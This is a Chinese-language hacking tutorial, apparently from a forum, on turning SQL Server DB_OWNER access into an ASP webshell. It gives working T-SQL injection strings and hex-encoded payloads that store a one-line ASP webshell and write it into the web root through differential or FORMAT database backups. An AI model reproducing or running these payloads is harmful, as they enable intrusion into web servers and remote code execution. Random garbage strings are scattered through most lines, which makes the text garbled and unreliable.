DB_OWNER权限得到webshell的两点改进:6 ^. W; G1 B0 T4 }# K+ X
# G% |2 ]+ l! Z3 m2 C H
减少备份文件大小,得到可执行的webshell成功率提高不少
% B$ x3 G/ ^) u- e5 L8 O" J一利用差异备份
k- t) ? ]/ {4 a$ }' J4 w6 Q- G加一个参数WITH DIFFERENTIAL% ^( T, J9 H) i# @ H
" U) J7 \( ]2 ^9 @ X9 P1
& v# G4 }, m8 r0 t9 P& ]! f2
3 l. l7 I. E# ^9 e S3, M" e5 ` \5 [; \- q$ B1 [, g
47 e7 D! }" p+ I& i1 ]$ x- Z
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s% E) t+ G) W- j* Z9 T1 c" \
create table [dbo].[xiaolu] ([cmd] [image]);
' x- C. j h+ v9 o% a: A I! Kinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
}9 h+ y+ U, M% E3 M0 }1 vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL 9 A( a% ]' m; C
( U! ~. I8 n6 c6 @8 d
二利用完全FORMAT( W! A# g0 }- r! D8 a! \
加一个参数WITH FROMAT
1 x- Q! N- N# p5 o有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
. Q0 b) h4 r) `+ h" w% ^7 |/ h
: V, u- G" p% P) T14 S- b6 G, [; q' z: b% l
2
4 L& s, ?& t7 Y; [; J, U& j3' x2 y3 b+ x# C
4
8 N! h( y! {! _: b declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s/ U1 |" d4 O$ e) a/ p! I0 j8 Q
create table [dbo].[xiaolu] ([cmd] [image]);
# _. }' L5 x% x# U" Kinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)+ b( y; I: y! A8 q2 q; O6 u
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
2 S# u. B) p* E2 `7 f
! L8 w1 n, e9 R* H6 k+ |总的来说就是那么简单几句,下面以备份数据库model为例子
1 d& ?* i" t: b3 I# x17 y5 Z$ v+ B Z8 p! \
' M( a& L2 G7 j9 u4 r1
$ o9 \; M% W. j: G id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
. v/ q H3 |% O' H( I7 m+ f/ L% U$ o
23 C" s0 v! u) `0 _0 U! k
3 D, z3 {0 r6 z5 v8 {+ U, }
16 G' d& w2 w( e
id=1;backup database model to disk='你的路径‘ with differential,format;-- $ i* |8 j* W* T1 h, A
|